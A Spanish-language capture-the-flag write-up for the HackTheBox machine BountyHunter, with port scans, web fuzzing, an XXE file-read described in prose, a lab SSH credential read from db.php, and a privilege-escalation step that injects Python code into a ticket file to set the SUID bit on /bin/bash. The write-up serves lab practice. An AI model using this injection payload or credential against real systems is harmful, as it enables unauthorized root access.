BountyHunter

BountyHunter
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 24 Julio 2021 ejedev

Escaneo de puertos

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.11.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-28 15:57 -03
Initiating SYN Stealth Scan at 15:57
Scanning 10.10.11.100 [65535 ports]
Discovered open port 80/tcp on 10.10.11.100
Discovered open port 22/tcp on 10.10.11.100
Completed SYN Stealth Scan at 15:57, 18.38s elapsed (65535 total ports)
Nmap scan report for 10.10.11.100
Host is up, received user-set (0.31s latency).
Scanned at 2025-05-28 15:57:24 -03 for 18s
Not shown: 63409 closed tcp ports (reset), 2124 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.46 seconds
           Raw packets sent: 89818 (3.952MB) | Rcvd: 64226 (2.569MB)

Enumeración de versión y servicio

nmap -sCV -p22,80 -oN servicesScan 10.10.11.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-28 15:57 -03
Nmap scan report for 10.10.11.100 (10.10.11.100)
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds

Explotación inicial

HTTP (80)

BountyHunter

BountyHunter

BountyHunter

BountyHunter

BountyHunter

Observar que se esta enviando una estructura XML al backend.

Podemos interceptar la petición con Caido para poder manipular la data y ver si es vulnerable a XXE.

XML external entity (XXE) injection

BountyHunter

Códificamos la data en base 64 y luego aplicamos URL encode.

Enviamos la petición y vemos que recibimos como respuesta el contenido del archivo /etc/passwd en el campo titulo demostrado que es vulnerable a XXE.

BountyHunter

Realizando web fuzzing, encontramos el archivo db.php.

ffuf -c -u http://10.10.11.100/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -e .php

BountyHunter

Podemos leer el contenido del archivo db.php abusando del xxe.

BountyHunter

BountyHunter

BountyHunter

development:m19RoAU0hP41A1sTsq6K

Inciamos sesión por ssh con el usuario development

BountyHunter

BountyHunter

Escalación de privilegios

BountyHunter

BountyHunter

BountyHunter

Creo un archivo .md con el siguiente contenido

# Skytrain Inc
## Ticket to test
__Ticket Code:__
**32+120+__import__('os').system('chmod u+s /bin/bash')

BountyHunter

BountyHunter